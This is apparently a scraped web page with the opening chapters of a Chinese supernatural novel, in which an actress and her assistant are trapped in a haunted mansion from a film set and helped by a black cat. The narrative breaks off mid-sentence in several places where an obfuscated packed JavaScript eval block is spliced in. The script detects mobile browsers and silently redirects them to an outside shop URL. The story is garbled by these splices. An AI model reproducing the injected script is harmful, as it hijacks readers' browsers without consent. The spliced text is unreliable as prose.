《禁止小猫无证抓鬼》 1. 水逆!爬! 六月初,阒离江南岸正是多雨的时节。 破旧的长途车站内人头攒动,来来往往把积水弄得到处都是,空气潮湿而滞涩,压得人喘不上气来。 看样子,这场雨起码得下到后半夜才会停。 着急回家的村民相继冒雨离开,过了一会儿,出站口便只剩下零星几道稀疏的人影。 立在西出口的青年因此显得格外突出。 他身形高大,穿一身黑衣黑裤,盛夏酷暑裹得严严实实,右肩还挎着一只巨大的黑色帆布包,一看就是外地人的打扮。 许是气质过于冷淡,那些揣着手观望的黄包车车主竟无一人敢上前拉他的生意。 走道对面陆续有几缕视线探过来。 时间一长,青年隐在口罩下的面庞不由掠过几分烦躁。 半晌,终于有个浑身腱子肉的大哥大着胆子凑近,“噶坐车啊?” 青年抬眼瞥过来,“不用。” 大哥于是搓搓手,脚步一顿没再向前走了。他转身回到车边,想起方才眼前一闪而过的那抹苍绿,无端打了个寒颤。 再扭头时,青年已经低下了头。 【阿邂,南方异动,返程时来一趟钦江】 手机里,消息记录仍然停留在一周前,青年皱眉在对话框中打出一段话,还没来得及点发送,便被一声“师兄”打断了。 从远处跑来一个年轻人,气喘吁吁扶着膝盖在他面前停下。 “抱歉啊师兄,片场有点事耽搁了。”他挠挠头,脸上挂着歉意的笑,“咱们走吧。” 青年垂眼盯看对方两秒,迟疑片刻,抬脚跟了上去。 接他的年轻人开了一辆三蹦子,应该是临时和当地农户借的。一路颠簸了四十分钟左右,车子摇摇晃晃停在了一户农家小院前。 “师兄,我只能给你送到这儿了。”年轻人将车钥匙丢进院门旁的花盆里,抬手一指河对岸,“我得先回去守着,师父说可能就这两天。” 青年侧眸,淡淡嗯了一声,随后推门走进小屋,直到天黑都没再出现。 - “传闻中死去的人,生前如有未了之事,便会长长久久徘徊在世间,直到恩怨消弭、前尘尽忘......” 院子里,老人望向天际连绵不绝的群山,轻轻叹了一口气。 小方嗑着瓜子问:“前尘尽忘之后呢?” “游荡的亡魂会化作一缕青烟,消散在日光下。”老人偏过头,意味深长地睨了他一眼,“时候不早了,再赖在我这儿,你恐怕赶不上趟。” 说罢,他探身捞起蹲在脚边玩土的小孙子,搓了搓那圆乎乎的脑袋,爷孙俩一同往堂屋里走,俨然一副赶客的架势。 小方一愣,旋即瞥见河对岸腾起的袅袅炊烟。 坏了,他拍拍手站起身,连地上堆成小山的瓜子壳也顾不得,抬脚便朝剧组的方向跑。 拍摄场地搭在村口。 原本一周能拍完的工作量已然被梅雨季拉长到了小半个月,且大有再持续一周的趋势。加之停工期间剧组有演员罢演玩失踪,导演陈仪这两天急得嘴上起了一串燎泡,总感觉流年不利。 《如昼》是他退休前最后一部准备冲奖的作品,为此,陈仪请来了合作多年的金牌编剧,精心挑选出相貌演技俱佳的演员,不计成本地将每帧画面打磨到极致。 而每换一个场地,他都始终保留着行里老派的传统仪式——请人相看风水。 据圈里人说,陈导的剧组从未出过岔子,大抵同这种谨慎密不可分。 然而,自打钦江县开始下雨起,陈仪心里便不太踏实。 前几天小方听过这事,还特意捡出来当个笑话讲给了自家艺人听:“老陈头这回请的人铁定是个半吊子,哪有把场子搭在人家祠堂附近的道理?” 闻言,躺在沙发上的人从杂志后露出半张脸,“是啊,我本来在休假的。” 如果不是突然有演员罢演,陈仪不会请谢阮来救场。 她懒散地打了个哈欠,把杂志丢到一边,问:“找着人了么?” 小方摇头,“没消息,不过何二昨晚上了热搜,好像带着哪个情人出国度假去了,狗仔没拍到正脸,但兴许就是赵舒昕。” 谢阮听见“赵舒昕”三个字,很轻地扬了一下眉梢。 诸事不顺的何止陈仪,她自己也有点水逆。 上周华彩颁奖典礼的红毯,要不是为了躲赵舒昕,谢阮也不至于差点被猝然倒下的展板砸伤脚踝。 “阮姐。”小方忽然神神在在地问,“真不用我喊个驱邪师过来吗?” 谢阮:“?” “少看点小说。”她抄起剧本敲了一下对方的脑门,“你不怕上社会新闻,陈导还想光荣退休呢。” 剧组跳大神什么的,到底太超前了。 谢阮失笑,“陈导拍的是民国爱情片,不是恐怖片。” 但眼下,爱情片多半要奔着恐怖片的走向发展了,小方一边跑,一边在脑子里飞快捋过进组这几天的所见所闻,估摸着陈仪大约很难光荣退休了。 不多时,他脚下骤然踩空,整个人直挺挺地向前栽倒,贴上了泥泞的土地。 赵家村早年整修过路面,唯独贴着赵家沟直通村口的这条仍旧千疮百孔。 小方感到自己似乎被一双看不见的手死死摁住了,几个呼吸都没能爬起来。 背脊泛起一阵悚然的湿冷,视线里忽然蒙了层白纱似的雾,几步之外的摄影棚渐渐缩成一个小小的剪影。 啪嗒—— 一滴水落在额头上,钦江又下起了雨。 平地掀起一阵大风,吹开了剧组西北角某间休息室的大门。 谢阮睡得并不安稳。 她梦见紧贴着休息室的宗祠后门被大雨冲垮,停灵七日的木棺塌了一角,露出一截沾满泥土的手腕。 有人拖曳着某种重物在地面上轧过数道痕辙,那声音由远及近,每一下都凿在鼓动的耳膜里。 谢阮睁眼时头痛欲裂。 她怔怔地盯着头顶的木横梁发呆,过了一会儿,扬声喊:“小方?方助?方季遂?” 无人回应,四下静得如同一潭死水。 谢阮按了按身后的软垫,终于意识到这里好像不是剧组的休息室。 懒人沙发不见了,取而代之的是一架样式复古的美人榻,她身上松阔的棉质休闲服也变成了拍戏时穿的那件月牙白旗袍。 谢阮抬手拨开脸侧的碎发,腕上有什么冰凉的物件触在额前。 手腕一翻,翡翠在夕阳的余烬下散发出通透纯澈的光。 空气里滚过南方小城夏季独有的湿热,腐蚀着上了年份的窗柩。院中遮阴的大树向下延展枝丫,托起晒蔫儿的蝉轻轻搭在窗框边。 谢阮伸手把窗户向外又推了推。 她瞥了眼半死不活的蝉,径自透过这扇窗打量起花团锦簇的庭院。 盛开的月季从明黄晕染至金红,犹如火焰中心最炽烈的那一簇,生生不息。 视线从花海逡巡至一旁通往未知的门廊,在一张距离她三五米远的石凳旁,碎裂的残阳投下些许光影,模糊勾勒出几笔形状。 像是一个人影。 谢阮心口一跳,微微屈起双腿,试图往远离窗户的地方挪动。 余光里,人影似乎跟着她动了一下。 谢阮于是只移到塌边便停了。 那人在暗处盯着她,谢阮轻眯起眼睛,妄动可能打草惊蛇,她得尽早寻一件趁手的防身武器。 谢阮装模作样地揉揉膝盖,随后平静地收回视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如果不是体型对不上号,她几乎要以为眼前这只猫,是她遗失在后山道观里的那只。 谢阮熟练地抱起黑猫,确认安全后,走下软榻,观察起屋内的摆设,手里有一搭没一搭地顺着猫毛。 黑猫眯着眼睛,不受控制地“嗷呜”两声,而后在她怀中找了个舒服的姿势窝好。 谢阮醒来的这间屋子面积有限,除了窗前的软榻,便只有几件简单的家具。 梳妆台台面干干净净,圆凳规矩地收进桌肚,角落的衣柜门半开着通风,空落落不像放了衣服的样子,旁边的木床更是连纱帐也没挂。 比起卧室,这里倒更像临时招待宾客的休息间,谢阮低头看见黑猫和自己身上的旗袍,立刻想到了陈仪的电影。 她一觉睡进剧本了? 谢阮迟疑片刻,把猫举起来,“你是拍摄道具?” 黑猫眨眨眼。 “算了,你只是一只猫。”猫能懂什么? 谢阮盯着那双幽绿的猫瞳看了几秒,将它放到正对房门的小圆桌边。 房门严丝合缝地关着,却并未上锁。 谢阮走到门前,右手虚搭在门上,拿不准接下来要做什么。 按照剧本,如无意外,日落后应该是一场晚宴,兴许晚宴散场时,她能找到离开的路。 但杀死蝉的人很可能还在门外,谢阮因此有些犹豫。 思忖间,心底蓦地警铃大震。 笃笃—— 有人不轻不重地敲了两下房门。 2. 你叫小黑 敲门人很有礼貌,谢阮下意识开口,“请——” 话音未落,始终在小圆桌上充当毛绒摆件的黑猫突然暴起,跳到她肩头,支起松软的尾巴挠了挠谢阮的脸。 谢阮猝不及防,“进”字愣是卡在嘴边,紧接着被一团猫毛堵了回去。 “啊呸、呸。”她抿了抿嘴,捏住猫尾把猫拎开。 黑猫冷不丁被人捏住尾巴尖,蓦地扭头看过来。 那双苍绿色的竖瞳润了水似的,耳朵随着转身的动作高高竖起。 谢阮伸手,不解地揉了揉猫耳朵。 黑猫尾巴一软,旋即松松圈住了她的手腕。 笃笃—— 又是两下敲门声,猫尾巴瞬间收紧,谢阮即将脱口而出的“请进”险些被勒成一句国骂。 她偏头打量起扒拉自己的黑猫,忽然福至心灵。 弓身立耳,明显的戒备状态,黑猫很可能察觉到了某种危险,企图暗示她什么。 传闻中,通体漆黑的猫是极富神性的灵物。 谢阮想起生活助理方·好奇心爆棚·山间怪谈爱好者·季遂,最近热衷在太阳下山前去村中听当地老人讲鬼故事,每日雷打不动以至出勤率高过他自己上班,并致力于在茶余饭后当作娱乐八卦分享给自己的老板。 没记错的话,剧组前两天似乎在赵家村宗祠后头看见过一只黑猫。 彼时小方瞥了一眼照片若有所思,神神叨叨说:“这种黑猫可不常见啊。” “搞不好是能通灵的神使。”后半句话他只告诉了谢阮。 但谢阮那会儿刚赶完夜戏,正困得睁不开眼,因此并未放在心上。 想到这里,她把猫从肩头捋下来抱着,低声问:“你不想让我说出那两个字?” 圈在腕上的尾巴稍稍松开了一些。 “不能让门外的人进来?”谢阮更加小声,嘴唇几乎贴着猫的耳朵,再三确认,“只要我不说,他就不能进来,是吗?” 回应她的是自然垂落的猫尾。 黑猫感受到耳朵尖的热度,不自在地往谢阮怀里拱了拱。 尾巴尖尖有一小撮毛蓬了开来。 笃笃笃笃—— 敲门声变得紧凑急促,门外人开始着急了。 “请——”手腕再度被猫圈紧,谢阮低头看了眼小黑猫,眼底浮出几分促狭,“请在门外稍候。” 黑猫:“......”诡计多端的两脚兽。 谢阮弯唇,抬手揉了一把猫脑袋,随后带着猫走到门边。 大门吱地一声朝内打开,一个矮小的身影正逆光立在外头。 对方一身青灰长褂,戴一顶瓜皮小帽,身量矮了谢阮整头。 他瞧着干瘪瘦小,仿佛一块坑坑洼洼的石头,搁在野外再风化些日子就能直接送进地质博物馆当个形貌怪异的石头展品。 那人搓了搓手上前两步,脚尖直抵着门槛,不能再越过半分。 谢阮注意到他的左胸前配着一枚饰品,洁白如玉,被光线穿透时却显露出水晶的质感。 眼前这个胸前簪花的不速之客,衣着打扮竟然和《如昼》剧本中的何宅管家如出一辙。 但他周身浮动着怪异的气息,绝不可能是现实世界里慈眉善目的管家扮演者。 黑猫从谢阮臂弯下探出脑袋,疑惑地嗅了嗅。 “何事?”谢阮面无表情地念出自己的台词,顺手把半边身体都探出门槛的猫摁了回来。 管家双手合抱,俯身作揖,“谢小姐,晚宴就要开始了,还请您移步前厅。” 晚宴?谢阮盯着面前枯瘦皲裂的手,朝屋子里退了两步。 “知道了,就来。”她偏头看了一眼戴着翡翠镯的手腕,那里原本应该是一块机械表,谢阮照着剧本问,“什么时辰了?” 管家从兜里摸出块怀表,答:“酉时,还请谢小姐动作快些,老爷不喜客人迟到。” 这句话不在剧本中,谢阮心头划过一丝异样,淡淡嗯了一声,便随手关上了房门。 门外,人影依旧清晰无比地投射在绢布裱糊的门面中央,被斜阳拉扯成一道诡异而扭曲的长条。 管家没有离开,正如他知道谢阮就在门后注视着自己的影子。 “老爷不喜客人迟到。”管家重复道。 谢阮屏息,静默不语。 半晌,她听见脚步声响起,沉重而缓慢,犹如单手拉拽着某种重物,在地上拖行。 谢阮等了一会儿才小心翼翼地挪到窗边,黑猫皱皱鼻子,一声不响地跟上。 窗外,管家穿过缀满繁花的长廊,身影将将没入尽头的黑暗中。 他右手紧紧拽住一根木质长柄,与地面相触的物件泛起凛凛寒光。 梯形轮廓,外加两个尖锐的棱角。 那是一把斧子。 谢阮瞥见窗台上晒干的死蝉,后知后觉地意识到管家身上那股子怪异从何而来。 他言辞间呼出的热气,和窗下窥视她的那道粘稠恶心的视线重合在一起。 管家是来杀她的。 然而,或许是受到某种禁制,管家被迫抛弃了这种血腥的处理方式。 他藏起了那柄板斧,可能就在门外的某处死角。 如果谢阮毫无戒心地请他进门,她这会儿应该和那只死掉的蝉一个下场—— 被肢解,被碾碎,被日复一日毒辣的阳光晒成干尸。 所幸黑猫拦住了她。 谢阮挠挠黑猫的下巴,“谢谢你救了我。” 黑猫蹭蹭她的掌心,“喵呜~” 一人一猫安安静静在窗边坐了片刻,直到落日完全沉入地平线下,黑猫才懒洋洋地攀着谢阮的胳膊跳到地面上。 它缓步走到门前,转头看向谢阮,似等待似催促。 但谢阮磨磨蹭蹭不愿意走。 因为影视作品中,夜晚总是象征着危险与未知,困住她的这间屋子此时此刻仿佛变成了安全屋。 谢阮有种直觉,出了这扇门,管家和板斧也只是小打小闹。 “喵。”黑猫抬爪拍拍门板。 谢阮同它对视了几秒,终于不情不愿地走过去。 “你要是会说话就好了。”她弯腰抄起地上的猫,小声嘀咕。 黑猫趴在她的肩头,闻言喵呜喵呜比划几下,像是反驳。 不过谢阮没空翻译喵言喵语,拉开房门后,她全部的注意力都放在了辨别方向上。 屋外,天暗得很快。 第一抹夜色是藏在微弱余晖里的月光,快要走到长廊另一头时,黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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那颗从她衣前盘扣上暴力拆下的珍珠,被谢阮握进掌心捂了一下午。 来的路上,谢阮挨着它轻声问:“猫能凭借气味寻人吗?” 她说话时总是离猫耳朵很近,呼吸热乎乎地洒在耳廓,小半天的工夫,黑猫毛茸茸的尾巴尖几乎炸成了蒲公英。 “喵——” 身后忽然飘来一声猫叫,谢阮循声转头,看见小黑冲自己摇了摇尾巴。 夜色中,那双苍绿色的竖瞳犹如祖母绿一般明亮。 她脚步一顿,透过门缝朝猫挥了挥手。 然而下一秒,不足十公分宽的门缝迅速合拢,谢阮匆忙收回手,同时被人揪着衣领往后拖了几步。 轰隆—— 大门重重合上,严丝合缝宛如一堵鎏金的墙。 如果反应慢一些,又或者是卡点走进宴会厅,很可能会因为躲避不及被夯进墙内。 原来那句“不喜客人迟到”是这么个意思。 谢阮心有余悸。 “阮姐,你胆子真大。”来人松开她的衣领,走到一旁。 3. 猫猫牌驱邪师 说话的人是方季遂。 谢阮不动声色地打量起神出鬼没的生活助理,“你怎么在这儿?” “别提了。”方季遂摆摆手,“回剧组的时候我不小心摔了个跟头,爬起来后就出现在这栋宅子门口。” 小方醒来时,正趴在一座石狮子脚下,鼻子正贴着石料表面的青苔。他急忙起身,不曾想一转头差点脸贴脸撞到人。 “那人比我矮很多,穿着青灰的褂子,戴一顶瓜皮小帽。”方季遂搓了搓胳膊上未消的鸡皮疙瘩,继续说,“他看起来年纪很大,脸上褶子层层叠叠,做表情的时候眼睛会被挤成一条缝隙。” 那人称呼他为方少爷,又请他进门参加晚宴,并且一路上反复强调这座宅子的男主人不喜欢等客。 方季遂伸手摸了摸墙面,那扇大门仿佛不曾存在过,“原来卡点进门的客人可能会被砌进墙里。” 那么完全迟到的客人呢? 灯火通明的长廊两侧装饰着色彩斑斓的西洋玻璃,谢阮凑过去,才发现这些玻璃根本不透光,它们如同装饰画一般被挂在墙面上。 她和方季遂站在长廊的一端,背后是合拢的大门。 长廊尽头是另一堵墙,上面挂着一幅巨大的水墨画,尺寸几乎和门的宽高相仿。画的风格和长廊里的其他装饰物格格不入,看上去并不像是同一个时代的产物。 显然,方季遂也注意到了这点,“过去看看。” 百十来米的长廊中,只有他们两个人。 谢阮踩在织工精美的地毯上,脚步声几乎难以察觉。 偶尔有几处的光线暗一些,光影重叠,让她错觉自己走进了一条一眼望不到头的甬道里。 “你见过那个老头吗?”方季遂忽然问。 “见过,他是管家。”谢阮下意识地摸了摸后脑重新簪回去的发钗,说,“他下午要杀我。” 那人居然是管家,方季遂哦了一声,走了两步猛地顿住,“什么?他要杀你?” 谢阮点点头,“没得手。” 方季遂立刻原地急刹停下来,拽着自家艺人前后左右检查了几遍。 确认谢阮没有缺胳膊少腿后,他暂时放下心,问:“你不是刚刚才出现的?” “不是。”谢阮歪头想了想,借用管家的说法,解释道,“我酉时之前就在了,醒来的地点是何宅后头一座种满月季的小院。” 酉时、月季花房。 方季遂皱眉,神情逐渐严肃,“你把下午发生的事从头到尾仔细说一遍。” 两人这会儿停在了那幅画的正前方。 视线越过小方落在画上,谢阮最先看见的,是明黄至金红大面积的色彩晕染。 她想起了院子里的月季花。 谢阮有一瞬的愣神,过了一会儿,她组织好语言,从窗外的蝉开始说起。 整个过程事无巨细,连那只通体漆黑的猫也没有遗漏。 提到小黑的时候,谢阮朝看不出形状的大门多瞥了两眼,心底好像空了一块似的。 方季遂却抽了抽嘴角,问:“什么样的黑猫?” 谢阮伸手比画出一个大概,“这么大,从脑袋到尾巴一片漆黑,除了眼睛。” “眼睛是苍绿色的。”她抬起手腕,“比这种绿还要深一点。” 眼前,翡翠镯折射出一道透亮的光,方季遂摸摸下巴,看向谢阮的眼神不禁流露出几分复杂。 谢阮:“?”少年你在羡慕什么? “怎么了?” “没事,有猫在,不用摇驱邪师了。”方季遂摇摇头,神情不复方才的郑重,取而代之的是一种老父亲般的欣慰和轻松。 谢阮:“......”合着这孩子还是对封建迷信念念不忘。 方季遂知道她不会轻易相信驱邪师的存在,于是就事论事,细说那只猫。 “我以前和你提过,通体漆黑的猫是灵物。”他带着谢阮继续朝长廊深处走,“志怪小说里通常将这种黑猫的出现视作死亡预警,但实际上,它们并不代表死亡,相反、哎,你往外稍稍。” 谢阮在陌生环境下习惯贴着右侧的墙跟走,方季遂走在她右手边,整个人差点被怼到墙上挂着。 谢阮往左挪了小半步,“你继续。” 方季遂翻了个白眼,“相反,它们厌恶死亡的气息,而且只会选择自己偏爱的生灵亲近。” 谢阮眼睛亮了亮,“你的意思是,那只黑猫喜欢我!” “气息!是气息!”方季遂扶额,不知道那位怎么挑了谢阮作饲主。 谢阮还想和他掰扯两句,两人已经走到了长廊尽头。 巨大的画作装裱在金色画框中,四角用看不出材质的钉子钉死,人站在画前仰视整幅画时,偶尔会产生一种画框即将倾倒,把人砸死的错觉。 谢阮想起颁奖典礼上意外倒塌的展板,默默走远了一些。 这幅画勾勒的应该是何宅的全貌,她呆过的那座月季小院就在画的西北角。作者下笔很细,整幅画最打眼的就是那丛月季。 从长廊的一端望过来,成片的月季如同金乌坠地,有种绝望的灿烂炽烈。 传统的水墨里鲜少有这样重彩的铺陈。 谢阮同方季遂对视一眼,从对方眼中捕捉到同款疑惑。 “先去宴会厅。”方季遂提议。 经过这幅画向右转,便能到达宴会厅的正厅。 他们顺着人潮涌进去,在距离舞池不远的地方找了个隐蔽的藏身之处,这里可以一览无余舞池内的动向。 全是生面孔,谢阮没找到现实世界中认识的人,不过纸醉金迷倒挺符合陈仪的布景要求。 宴会大厅内挂着一盏流光溢彩的水晶吊灯,每个悬空的分叉造型末端都缀着一株铃兰模样的水晶挂件。 舞池内,富太太和名媛们穿着私人订制的礼服,相谈甚欢,举手投足都经过了精心设计,只为露出华美的珠宝。 行会会长、名流公子哥们则另挑了一处地方品鉴红酒,谢阮看见了两支熟悉的酒瓶。 那是她因为档期辞演《如昼》时送给陈仪的赔礼,年份再怎么往前也不会早过《如昼》的时代背景。 谢阮好奇,“他们看见瓶身上的时间不会觉得诡异吗?” 话音刚落,方季遂着急慌忙地瞪了她一眼,“嘘!不要说出那个字,发音一样也不行。” “啊?”谢阮收了笑,向他比了个口型,“是这个吗?” 方季遂不置可否,“幸亏你声音小,没被听见,否则对于不知道自己是那个的人来说,一旦挑明,我们两个就成了异类。” 谢阮闻言又看了几眼舞池,反应迟钝的大脑冷不丁闪过什么—— 如果方季遂不说,她其实根本意识不到身边的是人是鬼。 即便谢阮在现实世界里与这些人没有丝毫交集,但不排除他们和她一样,睡一觉就被传送进了这个奇怪的地方。 而这些人之所以还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501906|154922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能表现得既来之则安之,大概是因为他们暂时没遇到过会拖着板斧索命的管家。 作为一个坚定的唯物主义者,谢阮当然更愿意和人打交道。 所以方季遂为什么一口咬定只有他们两个活人呢? 谢阮用余光上下扫过身边站姿笔挺的小方。 片刻后,她一巴掌拍在方季遂背上,“你昨天去我家了吗?” 方季遂被结结实实拍了个猝不及防,愣了两秒才懵里懵懂地摇头否认,“我上次去你家,还是你来钦江县前一天。” 谢阮敛眸,搭在发簪上的手往回移了几寸,“L家的新包到了?” “不是,你什么记性......”提起这个,方季遂简直生无可恋,“你叫我送两身适合七八岁小男孩穿的衣服到你家,我还差点因为形迹可疑被保安抓起来吊着打!” 天知道每次去谢阮家都有多少双眼睛盯着他。 谢阮怜悯地瞥了他一眼,“那梁桢是怎么知道的?” “你怀疑我!这真不是我说的!”方季遂控诉,“你说那不是你的私生子,我都无条件信任你,替你保密,我姐那儿真不是我捅出去的!” 见状,谢阮松了口气,梁桢那边是她自己说出去的,确实与方季遂无关。 她对小方的怀疑消减了一半。 不过出于谨慎,谢阮依然留下一半怀疑,防止真的有个鬼,连她上上周捡了个小朋友回家都知道得一清二楚。 方季遂哼哼,“莫名其妙。” 谢阮失笑,收回按住发簪的手。 与此同时,宴会厅内灯光一暗,光线悉数汇聚向舞池中央。 话筒滋滋响起了模糊的电流音。 “感谢各位今天能够赏光参加这场宴会!”男主人西装革履,牵着他的新婚妻子走出来,“请大家来,是有件喜事要分享。” 透过攒动的人群,谢阮注意到男主人偏过头,神情温柔地看向自己的妻子。 他略失焦的眼神中不经意流露出几分惊恐,语气却是截然相反的愉悦,“小舒怀孕了。” “恭喜何先生!” “恭喜何太太!” 道贺声此起彼伏,方季遂已经在心里给陈仪点了三根蜡烛。 “那不是赵舒昕吗?”他压低声音说,“何宥文怎么也在这里?” 谢阮不知道。 人群中,女主人长了一张和赵舒昕一模一样的脸。她依赖地挽着丈夫的胳膊,一手轻轻抚摸自己的肚子,脸上挂着幸福的微笑。 如果不是赵舒昕的面色太过苍白,唇上提气色的口红又艳丽得过了头,谢阮恐怕也会以为,这只是一场普通的喜宴。 陪伴在侧的男人小心翼翼地环住赵舒昕的腰,夫妻二人十指相扣,紧紧交握在一起,看上去十分恩爱。 假如何宥文没有试图把手挣出来。 谢阮戳戳小方,“都还活着吗?” 方季遂先是点了点头,很快又摇头道:“目前是一死一伤,但何宥文已经浑身死相,救不回来了。” 死?谢阮眉心一跳,还没来得及抬手捂住方季遂的嘴,周围便倏然安静下来。 鬼不能提,死字亦然。 方季遂被听到了。 面前,拥挤的人群潮水般向两边散开,谢阮心底顿时升起一股不祥的预感。 她慢慢抬起头,果然看见赵舒昕挽着何宥文的胳膊,笑嘻嘻地走过来。 “谢小姐,好久不见啊。” 4. 魂场 不知是不是谢阮的错觉,宴会厅内,灯光似乎变了颜色,原先的明黄中掺进去少许淡紫,莫名有几分渗人。 窃窃私语消失的刹那,周身温度骤降。 方季遂本以为他和谢阮站的位置够偏了,没想到一时疏忽,还是被赵舒昕听见了那个字。 赵舒昕缓缓走近。 与此同时,其他宾客像多米诺骨牌一般,逐一转身,往两侧让出一条路。 那些穿着华服的生面孔齐刷刷望过来。 他们眼神木讷,一言不发,看方季遂和谢阮如同看两件死物。 谢阮甚至觉得这些东西连呼吸频率都是一致的。 她被迫直面数十双空洞无神的眼睛,宾客们无机质的目光仿佛某种精神污染,试图通过长久的凝视将她变成自己的同类。 谢阮不由自主地抬起手,摸了摸头上的发簪。 回神时,赵舒昕已经停在了她面前,“谢小姐,好久不见。” 说着,她朝谢阮伸手,像一位真正的老朋友那样,想和她握个手。 谢阮却视而不见,任由对方的手僵在半空。 场面有一瞬的尴尬,方季遂悄悄觑了一眼赵舒昕,借着黯淡的光线看见那张苍白的脸一阵青一阵红。 “谢老师。”赵舒昕慢慢靠近。 一股混合着泥土与草灰的腥臭味随之飘向谢阮,她小幅皱了皱鼻子,强行按下呕吐的冲动。 赵舒昕全然未觉,依旧保持着伸手的动作,第二次更换了称呼。 “谢阮。” 方季遂听出一点破防的意味,视线扫过剑拔弩张的两人,他默默将手背到身后,拧出一个复杂的手势。 一旁,谢阮抬眼盯着赵舒昕看了几秒,忽然别过脸,拨弄起左腕上的翡翠镯。 赵舒昕一愣,紧接着蜷起了手指。 空气里隐约窜入一丝焦糊味。 “算了。”赵舒昕轻轻叹了一口气,可怜兮兮地收回手,找补道,“来者是客,谢老师能赏光出席,我就很开心了。” 她依偎在丈夫怀中,冲远处扬手,示意侍者送两杯清茶过来。 “久闻谢老师大名,于情于理我作为后辈都该敬你一杯酒。”赵舒昕端起一杯茶放到鼻子下方嗅了嗅,“可惜我怀孕了,不能喝酒,就请你喝杯茶吧。” 她偏头睨了一眼侍者,盛着另一杯茶的托盘于是移到了谢阮眼皮子底下。 方季遂一颗心跟着提到了嗓子眼儿。 赵舒昕颔首,“谢老师不会不给面子吧?” “怎么会?”谢阮唇角挂起一抹散漫的笑,“还没来得及恭喜何太太有孕,这杯酒应该我敬你。” 《如昼》背景架在民国,赵舒昕讲话的腔调一半古一半新,谢阮因此入乡随俗,比照原剧本改变了说话方式。 不过她没有碰赵舒昕递到手边的茶水,而是找侍者另取了一只空酒杯。 “我正好与你相反。”谢阮走到酒架前,抽出一瓶未开封的红酒,解释道,“我喝不了茶,便照旧喝酒好了。” 顶着赵舒昕逐渐怨毒的目光,谢阮拔下发簪撬开瓶口的木塞,倒满酒杯的三分之一。 她捏着杯身轻摇了两下,确认过红酒的气味后,仰头一饮而尽。 许是喝得太着急,谢阮刚放下酒杯便止不住地咳嗽。 她一手撑在餐桌边缘,另一手捂住嘴,酒液渗过指缝缓缓滴落,暗红色的液体像是温热的血。 几分钟后,谢阮缓过气,拿起桌上没用过的餐巾擦了擦手。 她唇角沾了几滴酒渍,整个人懒散地倚着桌子一角,抬眸看向赵舒昕时,眼尾浮现出几分妖异。 计划落空,赵舒昕听见谢阮遗憾地说:“有些日子没喝酒了,见谅。” 她装模作样起来煞有其事,方季遂闻言,放心地解开手诀,躲在后面笑得肩膀一耸一耸。 赵舒昕盯着两人,欲言又止。 半晌,鲜红嘴唇朝两边拉起一道扭曲的弧度,她挥挥手,“无碍,我和阿文还要招呼其他客人,谢小姐自便。” 谢阮漫不经心点了两下头。 赵舒昕挽着丈夫快步离开,他们走后,死水一般的宴会厅再度变得活跃,宾客们如梦初醒,三三两两地散开。 谢阮眺眼打量起人群中忙于交际的女主人,目光落在一旁的何宥文身上。 何宥文,何家不成器的二少爷,黎津圈子里远近闻名的花花公子,同时也是赵舒昕的金主,据传最近正和情人在国外度假。 他怎么会出现在这里? 如果赵舒昕是这座宅子的女主人,那么从两人的关系不难推测,何宥文应该就是管家口中不喜等客的老爷。 偏偏他在晚宴上表现得像个隐形人。 除了宴会开场时说过几句场面话,何宥文至今没再出声。他对赵舒昕的温柔不似作伪,但肢体本能的抗拒骗不了人。 何宥文在抵触赵舒昕。 谢阮想起方季遂的话—— 何宥文浑身死相。 何二从她面前经过的时候,身上的确带着一股浅淡的草灰味儿。谢阮猜测,当这股气味浓烈到赵舒昕那种程度,何宥文差不多就该死透了。 “这里不是说话的地方。”她回身瞥了一眼方季遂,淡声道,“方助,我们挪个地儿。” 谢阮很少这么喊他,方季遂心里咯噔了一下,反应过来时,谢阮已经走出了宴会厅。 两人原路返回入口旁的那副挂画下。 “阮姐......”方季遂抿抿嘴,准备先发制人。 但被谢阮毫不留情地打断了,“闭嘴,我问你答。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501907|154922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方季遂悻悻,只好揣着手贴墙罚站。 谢阮环顾四下,确定走廊内没有别人后,压低声音问:“你刚才的手势是什么意思?” 方季遂晃晃脑袋装傻充愣,“什么?什么手势?” 谢阮轻啧一声,“这个。” 话音刚落,方季遂看见她两手掌心相对,食指和中指交叉,又用拇指勾住小指,最后贴着中指的第二关节曲起无名指。 怎么就这么水灵灵地露馅了,方季遂头痛。 谢阮比划完也不着急,她好整以暇地看向助理,等人解释。 瞒得住一时瞒不了一世,方季遂支吾了一会儿,终于破罐子破摔,和盘托出。 “太具体的我这会儿没办法和你全讲清楚,总之这就是个简单的手诀。”他捡着重点说,“手诀起效后能够保全以自身为圆心、半径三至五米圆周内的一切生魂。” 